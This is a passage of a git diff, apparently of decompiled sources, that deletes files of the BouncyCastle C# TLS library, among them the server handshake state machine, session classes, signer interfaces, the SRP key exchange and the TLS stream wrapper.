mTlsServer.GetCertificateStatus(); - if (certificateStatus != null) - { - SendCertificateStatusMessage(certificateStatus); - } - } - mConnectionState = 5; - byte[] array = mKeyExchange.GenerateServerKeyExchange(); - if (array != null) - { - SendServerKeyExchangeMessage(array); - } - mConnectionState = 6; - if (mServerCredentials != null) - { - mCertificateRequest = mTlsServer.GetCertificateRequest(); - if (mCertificateRequest != null) - { - if (TlsUtilities.IsTlsV12(Context) != (mCertificateRequest.SupportedSignatureAlgorithms != null)) - { - throw new TlsFatalAlert(80); - } - mKeyExchange.ValidateCertificateRequest(mCertificateRequest); - SendCertificateRequestMessage(mCertificateRequest); - TlsUtilities.TrackHashAlgorithms(mRecordStream.HandshakeHash, mCertificateRequest.SupportedSignatureAlgorithms); - } - } - mConnectionState = 7; - SendServerHelloDoneMessage(); - mConnectionState = 8; - mRecordStream.HandshakeHash.SealHashAlgorithms(); - break; - } - case 16: - RefuseRenegotiation(); - break; - default: - throw new TlsFatalAlert(10); - } - break; - case 23: - { - short num = mConnectionState; - if (num == 8) - { - mTlsServer.ProcessClientSupplementalData(TlsProtocol.ReadSupplementalDataMessage(buf)); - mConnectionState = 9; - break; - } - throw new TlsFatalAlert(10); - } - case 11: - switch (mConnectionState) - { - case 8: - case 9: - if (mConnectionState < 9) - { - mTlsServer.ProcessClientSupplementalData(null); - } - if (mCertificateRequest == null) - { - throw new TlsFatalAlert(10); - } - ReceiveCertificateMessage(buf); - mConnectionState = 10; - break; - default: - throw new TlsFatalAlert(10); - } - break; - case 16: - switch (mConnectionState) - { - case 8: - case 9: - case 10: - if (mConnectionState < 9) - { - mTlsServer.ProcessClientSupplementalData(null); - } - if (mConnectionState < 10) - { - if (mCertificateRequest == null) - { - mKeyExchange.SkipClientCredentials(); - } - else - { - if (TlsUtilities.IsTlsV12(Context)) - { - throw new TlsFatalAlert(10); - } - if (TlsUtilities.IsSsl(Context)) - { - if (mPeerCertificate == null) - { - throw new TlsFatalAlert(10); - } - } - else - { - NotifyClientCertificate(Certificate.EmptyChain); - } - } - } - ReceiveClientKeyExchangeMessage(buf); - mConnectionState = 11; - break; - default: - throw new TlsFatalAlert(10); - } - break; - case 15: - { - short num = mConnectionState; - if (num == 11) - { - if (!ExpectCertificateVerifyMessage()) - { - throw new TlsFatalAlert(10); - } - ReceiveCertificateVerifyMessage(buf); - mConnectionState = 12; - break; - } - throw new TlsFatalAlert(10); - } - case 20: - switch (mConnectionState) - { - case 11: - case 12: - if (mConnectionState < 12 && ExpectCertificateVerifyMessage()) - { - throw new TlsFatalAlert(10); - } - ProcessFinishedMessage(buf); - mConnectionState = 13; - if (mExpectSessionTicket) - { - SendNewSessionTicketMessage(mTlsServer.GetNewSessionTicket()); - } - mConnectionState = 14; - SendChangeCipherSpecMessage(); - SendFinishedMessage(); - mConnectionState = 15; - CompleteHandshake(); - break; - default: - throw new TlsFatalAlert(10); - } - break; - default: - throw new TlsFatalAlert(10); - } - } - - protected override void HandleAlertWarningMessage(byte alertDescription) - { - base.HandleAlertWarningMessage(alertDescription); - byte b = alertDescription; - if (b != 41) - { - return; - } - if (TlsUtilities.IsSsl(Context) && mCertificateRequest != null) - { - switch (mConnectionState) - { - case 8: - case 9: - if (mConnectionState < 9) - { - mTlsServer.ProcessClientSupplementalData(null); - } - NotifyClientCertificate(Certificate.EmptyChain); - mConnectionState = 10; - return; - } - } - throw new TlsFatalAlert(10); - } - - protected virtual void NotifyClientCertificate(Certificate clientCertificate) - { - if (mCertificateRequest == null) - { - throw new InvalidOperationException(); - } - if (mPeerCertificate != null) - { - throw new TlsFatalAlert(10); - } - mPeerCertificate = clientCertificate; - if (clientCertificate.IsEmpty) - { - mKeyExchange.SkipClientCredentials(); - } - else - { - mClientCertificateType = TlsUtilities.GetClientCertificateType(clientCertificate, mServerCredentials.Certificate); - mKeyExchange.ProcessClientCertificate(clientCertificate); - } - mTlsServer.NotifyClientCertificate(clientCertificate); - } - - protected virtual void ReceiveCertificateMessage(MemoryStream buf) - { - Certificate clientCertificate = Certificate.Parse(buf); - TlsProtocol.AssertEmpty(buf); - NotifyClientCertificate(clientCertificate); - } - - protected virtual void ReceiveCertificateVerifyMessage(MemoryStream buf) - { - if (mCertificateRequest == null) - { - throw new InvalidOperationException(); - } - DigitallySigned digitallySigned = DigitallySigned.Parse(Context, buf); - TlsProtocol.AssertEmpty(buf); - try - { - SignatureAndHashAlgorithm algorithm = digitallySigned.Algorithm; - byte[] hash; - if (TlsUtilities.IsTlsV12(Context)) - { - TlsUtilities.VerifySupportedSignatureAlgorithm(mCertificateRequest.SupportedSignatureAlgorithms, algorithm); - hash = mPrepareFinishHash.GetFinalHash(algorithm.Hash); - } - else - { - hash = mSecurityParameters.SessionHash; - } - X509CertificateStructure certificateAt = mPeerCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - AsymmetricKeyParameter publicKey = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - TlsSigner tlsSigner = TlsUtilities.CreateTlsSigner((byte)mClientCertificateType); - tlsSigner.Init(Context); - if (!tlsSigner.VerifyRawSignature(algorithm, digitallySigned.Signature, publicKey, hash)) - { - throw new TlsFatalAlert(51); - } - } - catch (TlsFatalAlert tlsFatalAlert) - { - throw tlsFatalAlert; - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(51, alertCause); - } - } - - protected virtual void ReceiveClientHelloMessage(MemoryStream buf) - { - ProtocolVersion protocolVersion = TlsUtilities.ReadVersion(buf); - mRecordStream.SetWriteVersion(protocolVersion); - if (protocolVersion.IsDtls) - { - throw new TlsFatalAlert(47); - } - byte[] clientRandom = TlsUtilities.ReadFully(32, buf); - byte[] array = TlsUtilities.ReadOpaque8(buf); - if (array.Length > 32) - { - throw new TlsFatalAlert(47); - } - int num = TlsUtilities.ReadUint16(buf); - if (num < 2 || (num & 1) != 0) - { - throw new TlsFatalAlert(50); - } - mOfferedCipherSuites = TlsUtilities.ReadUint16Array(num / 2, buf); - int num2 = TlsUtilities.ReadUint8(buf); - if (num2 < 1) - { - throw new TlsFatalAlert(47); - } - mOfferedCompressionMethods = TlsUtilities.ReadUint8Array(num2, buf); - mClientExtensions = TlsProtocol.ReadExtensions(buf); - mSecurityParameters.extendedMasterSecret = TlsExtensionsUtilities.HasExtendedMasterSecretExtension(mClientExtensions); - if (!mSecurityParameters.IsExtendedMasterSecret && mTlsServer.RequiresExtendedMasterSecret()) - { - throw new TlsFatalAlert(40); - } - ContextAdmin.SetClientVersion(protocolVersion); - mTlsServer.NotifyClientVersion(protocolVersion); - mTlsServer.NotifyFallback(Arrays.Contains(mOfferedCipherSuites, 22016)); - mSecurityParameters.clientRandom = clientRandom; - mTlsServer.NotifyOfferedCipherSuites(mOfferedCipherSuites); - mTlsServer.NotifyOfferedCompressionMethods(mOfferedCompressionMethods); - if (Arrays.Contains(mOfferedCipherSuites, 255)) - { - mSecureRenegotiation = true; - } - byte[] extensionData = TlsUtilities.GetExtensionData(mClientExtensions, 65281); - if (extensionData != null) - { - mSecureRenegotiation = true; - if (!Arrays.ConstantTimeAreEqual(extensionData, TlsProtocol.CreateRenegotiationInfo(TlsUtilities.EmptyBytes))) - { - throw new TlsFatalAlert(40); - } - } - mTlsServer.NotifySecureRenegotiation(mSecureRenegotiation); - if (mClientExtensions != null) - { - TlsExtensionsUtilities.GetPaddingExtension(mClientExtensions); - mTlsServer.ProcessClientExtensions(mClientExtensions); - } - } - - protected virtual void ReceiveClientKeyExchangeMessage(MemoryStream buf) - { - mKeyExchange.ProcessClientKeyExchange(buf); - TlsProtocol.AssertEmpty(buf); - if (TlsUtilities.IsSsl(Context)) - { - TlsProtocol.EstablishMasterSecret(Context, mKeyExchange); - } - mPrepareFinishHash = mRecordStream.PrepareToFinish(); - mSecurityParameters.sessionHash = TlsProtocol.GetCurrentPrfHash(Context, mPrepareFinishHash, null); - if (!TlsUtilities.IsSsl(Context)) - { - TlsProtocol.EstablishMasterSecret(Context, mKeyExchange); - } - mRecordStream.SetPendingConnectionState(Peer.GetCompression(), Peer.GetCipher()); - } - - protected virtual void SendCertificateRequestMessage(CertificateRequest certificateRequest) - { - HandshakeMessage handshakeMessage = new HandshakeMessage(13); - certificateRequest.Encode(handshakeMessage); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendCertificateStatusMessage(CertificateStatus certificateStatus) - { - HandshakeMessage handshakeMessage = new HandshakeMessage(22); - certificateStatus.Encode(handshakeMessage); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendNewSessionTicketMessage(NewSessionTicket newSessionTicket) - { - if (newSessionTicket == null) - { - throw new TlsFatalAlert(80); - } - HandshakeMessage handshakeMessage = new HandshakeMessage(4); - newSessionTicket.Encode(handshakeMessage); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendServerHelloMessage() - { - HandshakeMessage handshakeMessage = new HandshakeMessage(2); - ProtocolVersion serverVersion = mTlsServer.GetServerVersion(); - if (!serverVersion.IsEqualOrEarlierVersionOf(Context.ClientVersion)) - { - throw new TlsFatalAlert(80); - } - mRecordStream.ReadVersion = serverVersion; - mRecordStream.SetWriteVersion(serverVersion); - mRecordStream.SetRestrictReadVersion(enabled: true); - ContextAdmin.SetServerVersion(serverVersion); - TlsUtilities.WriteVersion(serverVersion, handshakeMessage); - handshakeMessage.Write(mSecurityParameters.serverRandom); - TlsUtilities.WriteOpaque8(TlsUtilities.EmptyBytes, handshakeMessage); - int selectedCipherSuite = mTlsServer.GetSelectedCipherSuite(); - if (!Arrays.Contains(mOfferedCipherSuites, selectedCipherSuite) || selectedCipherSuite == 0 || CipherSuite.IsScsv(selectedCipherSuite) || !TlsUtilities.IsValidCipherSuiteForVersion(selectedCipherSuite, Context.ServerVersion)) - { - throw new TlsFatalAlert(80); - } - mSecurityParameters.cipherSuite = selectedCipherSuite; - byte selectedCompressionMethod = mTlsServer.GetSelectedCompressionMethod(); - if (!Arrays.Contains(mOfferedCompressionMethods, selectedCompressionMethod)) - { - throw new TlsFatalAlert(80); - } - mSecurityParameters.compressionAlgorithm = selectedCompressionMethod; - TlsUtilities.WriteUint16(selectedCipherSuite, handshakeMessage); - TlsUtilities.WriteUint8(selectedCompressionMethod, handshakeMessage); - mServerExtensions = TlsExtensionsUtilities.EnsureExtensionsInitialised(mTlsServer.GetServerExtensions()); - if (mSecureRenegotiation) - { - byte[] extensionData = TlsUtilities.GetExtensionData(mServerExtensions, 65281); - if (null == extensionData) - { - mServerExtensions[65281] = TlsProtocol.CreateRenegotiationInfo(TlsUtilities.EmptyBytes); - } - } - if (TlsUtilities.IsSsl(mTlsServerContext)) - { - mSecurityParameters.extendedMasterSecret = false; - } - else if (mSecurityParameters.IsExtendedMasterSecret) - { - TlsExtensionsUtilities.AddExtendedMasterSecretExtension(mServerExtensions); - } - if (mServerExtensions.Count > 0) - { - mSecurityParameters.encryptThenMac = TlsExtensionsUtilities.HasEncryptThenMacExtension(mServerExtensions); - mSecurityParameters.maxFragmentLength = ProcessMaxFragmentLengthExtension(mClientExtensions, mServerExtensions, 80); - mSecurityParameters.truncatedHMac = TlsExtensionsUtilities.HasTruncatedHMacExtension(mServerExtensions); - mAllowCertificateStatus = !mResumedSession && TlsUtilities.HasExpectedEmptyExtensionData(mServerExtensions, 5, 80); - mExpectSessionTicket = !mResumedSession && TlsUtilities.HasExpectedEmptyExtensionData(mServerExtensions, 35, 80); - TlsProtocol.WriteExtensions(handshakeMessage, mServerExtensions); - } - mSecurityParameters.prfAlgorithm = TlsProtocol.GetPrfAlgorithm(Context, mSecurityParameters.CipherSuite); - mSecurityParameters.verifyDataLength = 12; - ApplyMaxFragmentLengthExtension(); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual void SendServerHelloDoneMessage() - { - byte[] array = new byte[4]; - TlsUtilities.WriteUint8(14, array, 0); - TlsUtilities.WriteUint24(0, array, 1); - WriteHandshakeMessage(array, 0, array.Length); - } - - protected virtual void SendServerKeyExchangeMessage(byte[] serverKeyExchange) - { - HandshakeMessage handshakeMessage = new HandshakeMessage(12, serverKeyExchange.Length); - handshakeMessage.Write(serverKeyExchange); - handshakeMessage.WriteToRecordStream(this); - } - - protected virtual bool ExpectCertificateVerifyMessage() - { - if (mClientCertificateType >= 0) - { - return TlsUtilities.HasSigningCapability((byte)mClientCertificateType); - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSession.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSession.cs deleted file mode 100644 index a327e4d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSession.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsSession -{ - byte[] SessionID { get; } - - bool IsResumable { get; } - - SessionParameters ExportSessionParameters(); - - void Invalidate(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSessionImpl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSessionImpl.cs deleted file mode 100644 index 67b87b0..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSessionImpl.cs +++ /dev/null @@ -1,66 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class TlsSessionImpl : TlsSession -{ - internal readonly byte[] mSessionID; - - internal readonly SessionParameters mSessionParameters; - - internal bool mResumable; - - public virtual byte[] SessionID - { - get - { - lock (this) - { - return mSessionID; - } - } - } - - public virtual bool IsResumable - { - get - { - lock (this) - { - return mResumable; - } - } - } - - internal TlsSessionImpl(byte[] sessionID, SessionParameters sessionParameters) - { - if (sessionID == null) - { - throw new ArgumentNullException("sessionID"); - } - if (sessionID.Length > 32) - { - throw new ArgumentException("cannot be longer than 32 bytes", "sessionID"); - } - mSessionID = Arrays.Clone(sessionID); - mSessionParameters = sessionParameters; - mResumable = sessionID.Length > 0 && sessionParameters != null && sessionParameters.IsExtendedMasterSecret; - } - - public virtual SessionParameters ExportSessionParameters() - { - lock (this) - { - return (mSessionParameters == null) ? null : mSessionParameters.Copy(); - } - } - - public virtual void Invalidate() - { - lock (this) - { - mResumable = false; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSigner.cs deleted file mode 100644 index b58cb22..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSigner.cs +++ /dev/null @@ -1,24 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsSigner -{ - void Init(TlsContext context); - - byte[] GenerateRawSignature(AsymmetricKeyParameter privateKey, byte[] md5AndSha1); - - byte[] GenerateRawSignature(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey, byte[] hash); - - bool VerifyRawSignature(byte[] sigBytes, AsymmetricKeyParameter publicKey, byte[] md5AndSha1); - - bool VerifyRawSignature(SignatureAndHashAlgorithm algorithm, byte[] sigBytes, AsymmetricKeyParameter publicKey, byte[] hash); - - ISigner CreateSigner(AsymmetricKeyParameter privateKey); - - ISigner CreateSigner(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter privateKey); - - ISigner CreateVerifyer(AsymmetricKeyParameter publicKey); - - ISigner CreateVerifyer(SignatureAndHashAlgorithm algorithm, AsymmetricKeyParameter publicKey); - - bool IsValidPublicKey(AsymmetricKeyParameter publicKey); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSignerCredentials.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSignerCredentials.cs deleted file mode 100644 index d906afb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSignerCredentials.cs +++ /dev/null @@ -1,8 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsSignerCredentials : TlsCredentials -{ - SignatureAndHashAlgorithm SignatureAndHashAlgorithm { get; } - - byte[] GenerateCertificateSignature(byte[] hash); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpGroupVerifier.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpGroupVerifier.cs deleted file mode 100644 index 9873460..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpGroupVerifier.cs +++ /dev/null @@ -1,8 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsSrpGroupVerifier -{ - bool Accept(Srp6GroupParameters group); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpIdentityManager.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpIdentityManager.cs deleted file mode 100644 index 3d5f4b6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpIdentityManager.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public interface TlsSrpIdentityManager -{ - TlsSrpLoginParameters GetLoginParameters(byte[] identity); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpKeyExchange.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpKeyExchange.cs deleted file mode 100644 index efd95f6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpKeyExchange.cs +++ /dev/null @@ -1,247 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto.Agreement.Srp; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsSrpKeyExchange : AbstractTlsKeyExchange -{ - protected TlsSigner mTlsSigner; - - protected TlsSrpGroupVerifier mGroupVerifier; - - protected byte[] mIdentity; - - protected byte[] mPassword; - - protected AsymmetricKeyParameter mServerPublicKey = null; - - protected Srp6GroupParameters mSrpGroup = null; - - protected Srp6Client mSrpClient = null; - - protected Srp6Server mSrpServer = null; - - protected BigInteger mSrpPeerCredentials = null; - - protected BigInteger mSrpVerifier = null; - - protected byte[] mSrpSalt = null; - - protected TlsSignerCredentials mServerCredentials = null; - - public override bool RequiresServerKeyExchange => true; - - protected static TlsSigner CreateSigner(int keyExchange) - { - return keyExchange switch - { - 21 => null, - 23 => new TlsRsaSigner(), - 22 => new TlsDssSigner(), - _ => throw new ArgumentException("unsupported key exchange algorithm"), - }; - } - - [Obsolete("Use constructor taking an explicit 'groupVerifier' argument")] - public TlsSrpKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, byte[] identity, byte[] password) - : this(keyExchange, supportedSignatureAlgorithms, new DefaultTlsSrpGroupVerifier(), identity, password) - { - } - - public TlsSrpKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, TlsSrpGroupVerifier groupVerifier, byte[] identity, byte[] password) - : base(keyExchange, supportedSignatureAlgorithms) - { - mTlsSigner = CreateSigner(keyExchange); - mGroupVerifier = groupVerifier; - mIdentity = identity; - mPassword = password; - mSrpClient = new Srp6Client(); - } - - public TlsSrpKeyExchange(int keyExchange, IList supportedSignatureAlgorithms, byte[] identity, TlsSrpLoginParameters loginParameters) - : base(keyExchange, supportedSignatureAlgorithms) - { - mTlsSigner = CreateSigner(keyExchange); - mIdentity = identity; - mSrpServer = new Srp6Server(); - mSrpGroup = loginParameters.Group; - mSrpVerifier = loginParameters.Verifier; - mSrpSalt = loginParameters.Salt; - } - - public override void Init(TlsContext context) - { - base.Init(context); - if (mTlsSigner != null) - { - mTlsSigner.Init(context); - } - } - - public override void SkipServerCredentials() - { - if (mTlsSigner != null) - { - throw new TlsFatalAlert(10); - } - } - - public override void ProcessServerCertificate(Certificate serverCertificate) - { - if (mTlsSigner == null) - { - throw new TlsFatalAlert(10); - } - if (serverCertificate.IsEmpty) - { - throw new TlsFatalAlert(42); - } - X509CertificateStructure certificateAt = serverCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - try - { - mServerPublicKey = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(43, alertCause); - } - if (!mTlsSigner.IsValidPublicKey(mServerPublicKey)) - { - throw new TlsFatalAlert(46); - } - TlsUtilities.ValidateKeyUsage(certificateAt, 128); - base.ProcessServerCertificate(serverCertificate); - } - - public override void ProcessServerCredentials(TlsCredentials serverCredentials) - { - if (mKeyExchange == 21 || !(serverCredentials is TlsSignerCredentials)) - { - throw new TlsFatalAlert(80); - } - ProcessServerCertificate(serverCredentials.Certificate); - mServerCredentials = (TlsSignerCredentials)serverCredentials; - } - - public override byte[] GenerateServerKeyExchange() - { - mSrpServer.Init(mSrpGroup, mSrpVerifier, TlsUtilities.CreateHash(2), mContext.SecureRandom); - BigInteger b = mSrpServer.GenerateServerCredentials(); - ServerSrpParams serverSrpParams = new ServerSrpParams(mSrpGroup.N, mSrpGroup.G, mSrpSalt, b); - DigestInputBuffer digestInputBuffer = new DigestInputBuffer(); - serverSrpParams.Encode(digestInputBuffer); - if (mServerCredentials != null) - { - SignatureAndHashAlgorithm signatureAndHashAlgorithm = TlsUtilities.GetSignatureAndHashAlgorithm(mContext, mServerCredentials); - IDigest digest = TlsUtilities.CreateHash(signatureAndHashAlgorithm); - SecurityParameters securityParameters = mContext.SecurityParameters; - digest.BlockUpdate(securityParameters.clientRandom, 0, securityParameters.clientRandom.Length); - digest.BlockUpdate(securityParameters.serverRandom, 0, securityParameters.serverRandom.Length); - digestInputBuffer.UpdateDigest(digest); - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - byte[] signature = mServerCredentials.GenerateCertificateSignature(array); - DigitallySigned digitallySigned = new DigitallySigned(signatureAndHashAlgorithm, signature); - digitallySigned.Encode(digestInputBuffer); - } - return digestInputBuffer.ToArray(); - } - - public override void ProcessServerKeyExchange(Stream input) - { - SecurityParameters securityParameters = mContext.SecurityParameters; - SignerInputBuffer signerInputBuffer = null; - Stream input2 = input; - if (mTlsSigner != null) - { - signerInputBuffer = new SignerInputBuffer(); - input2 = new TeeInputStream(input, signerInputBuffer); - } - ServerSrpParams serverSrpParams = ServerSrpParams.Parse(input2); - if (signerInputBuffer != null) - { - DigitallySigned digitallySigned = ParseSignature(input); - ISigner signer = InitVerifyer(mTlsSigner, digitallySigned.Algorithm, securityParameters); - signerInputBuffer.UpdateSigner(signer); - if (!signer.VerifySignature(digitallySigned.Signature)) - { - throw new TlsFatalAlert(51); - } - } - mSrpGroup = new Srp6GroupParameters(serverSrpParams.N, serverSrpParams.G); - if (!mGroupVerifier.Accept(mSrpGroup)) - { - throw new TlsFatalAlert(71); - } - mSrpSalt = serverSrpParams.S; - try - { - mSrpPeerCredentials = Srp6Utilities.ValidatePublicValue(mSrpGroup.N, serverSrpParams.B); - } - catch (CryptoException alertCause) - { - throw new TlsFatalAlert(47, alertCause); - } - mSrpClient.Init(mSrpGroup, TlsUtilities.CreateHash(2), mContext.SecureRandom); - } - - public override void ValidateCertificateRequest(CertificateRequest certificateRequest) - { - throw new TlsFatalAlert(10); - } - - public override void ProcessClientCredentials(TlsCredentials clientCredentials) - { - throw new TlsFatalAlert(80); - } - - public override void GenerateClientKeyExchange(Stream output) - { - BigInteger x = mSrpClient.GenerateClientCredentials(mSrpSalt, mIdentity, mPassword); - TlsSrpUtilities.WriteSrpParameter(x, output); - mContext.SecurityParameters.srpIdentity = Arrays.Clone(mIdentity); - } - - public override void ProcessClientKeyExchange(Stream input) - { - try - { - mSrpPeerCredentials = Srp6Utilities.ValidatePublicValue(mSrpGroup.N, TlsSrpUtilities.ReadSrpParameter(input)); - } - catch (CryptoException alertCause) - { - throw new TlsFatalAlert(47, alertCause); - } - mContext.SecurityParameters.srpIdentity = Arrays.Clone(mIdentity); - } - - public override byte[] GeneratePremasterSecret() - { - try - { - BigInteger n = ((mSrpServer != null) ? mSrpServer.CalculateSecret(mSrpPeerCredentials) : mSrpClient.CalculateSecret(mSrpPeerCredentials)); - return BigIntegers.AsUnsignedByteArray(n); - } - catch (CryptoException alertCause) - { - throw new TlsFatalAlert(47, alertCause); - } - } - - protected virtual ISigner InitVerifyer(TlsSigner tlsSigner, SignatureAndHashAlgorithm algorithm, SecurityParameters securityParameters) - { - ISigner signer = tlsSigner.CreateVerifyer(algorithm, mServerPublicKey); - signer.BlockUpdate(securityParameters.clientRandom, 0, securityParameters.clientRandom.Length); - signer.BlockUpdate(securityParameters.serverRandom, 0, securityParameters.serverRandom.Length); - return signer; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpLoginParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpLoginParameters.cs deleted file mode 100644 index 45da7f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpLoginParameters.cs +++ /dev/null @@ -1,26 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class TlsSrpLoginParameters -{ - protected readonly Srp6GroupParameters mGroup; - - protected readonly BigInteger mVerifier; - - protected readonly byte[] mSalt; - - public virtual Srp6GroupParameters Group => mGroup; - - public virtual byte[] Salt => mSalt; - - public virtual BigInteger Verifier => mVerifier; - - public TlsSrpLoginParameters(Srp6GroupParameters group, BigInteger verifier, byte[] salt) - { - mGroup = group; - mVerifier = verifier; - mSalt = salt; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpUtilities.cs deleted file mode 100644 index 7c33aff..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsSrpUtilities.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class TlsSrpUtilities -{ - public static void AddSrpExtension(IDictionary extensions, byte[] identity) - { - extensions[12] = CreateSrpExtension(identity); - } - - public static byte[] GetSrpExtension(IDictionary extensions) - { - byte[] extensionData = TlsUtilities.GetExtensionData(extensions, 12); - if (extensionData != null) - { - return ReadSrpExtension(extensionData); - } - return null; - } - - public static byte[] CreateSrpExtension(byte[] identity) - { - if (identity == null) - { - throw new TlsFatalAlert(80); - } - return TlsUtilities.EncodeOpaque8(identity); - } - - public static byte[] ReadSrpExtension(byte[] extensionData) - { - if (extensionData == null) - { - throw new ArgumentNullException("extensionData"); - } - MemoryStream memoryStream = new MemoryStream(extensionData, writable: false); - byte[] result = TlsUtilities.ReadOpaque8(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - return result; - } - - public static BigInteger ReadSrpParameter(Stream input) - { - return new BigInteger(1, TlsUtilities.ReadOpaque16(input)); - } - - public static void WriteSrpParameter(BigInteger x, Stream output) - { - TlsUtilities.WriteOpaque16(BigIntegers.AsUnsignedByteArray(x), output); - } - - public static bool IsSrpCipherSuite(int cipherSuite) - { - switch (cipherSuite) - { - case 49178: - case 49179: - case 49180: - case 49181: - case 49182: - case 49183: - case 49184: - case 49185: - case 49186: - return true; - default: - return false; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsStream.cs deleted file mode 100644 index 63f0443..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/TlsStream.cs +++ /dev/null @@ -1,86 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -internal class TlsStream : Stream -{ - private readonly TlsProtocol handler; - - public override bool CanRead => !handler.IsClosed; - - public override bool CanSeek => false; - - public override bool CanWrite => !handler.IsClosed; - - public override long Length - { - get - { - throw new NotSupportedException(); - } - } - - public override long Position - { - get - { - throw new NotSupportedException(); - } - set - { - throw new NotSupportedException(); - } - } - - internal TlsStream(TlsProtocol handler) - { - this.handler = handler; - } - - public override void Close() - { - handler.Close(); - base.Close(); - } - - public override void Flush() - { - handler.Flush(); - } - - public override int Read(byte[] buf, int off, int len) - { - return handler.ReadApplicationData(buf, off, len); - } - - public override int ReadByte() - { - byte[] array = new byte[1]; - if (Read(array, 0, 1) <= 0) - { - return -1; - } - return array[0]; - } - - public override long Seek(long offset, SeekOrigin origin) - { - throw new NotSupportedException(); - } - - public override void SetLength(long value) - { - throw new NotSupportedException(); - } - - public override void Write(byte[] buf, int off, int len) - { - handler.WriteData(buf, off, len); - } - - public override void WriteByte(byte b) - { - handler.WriteData(new byte[1] { b }, 0, 1); - } -} diff 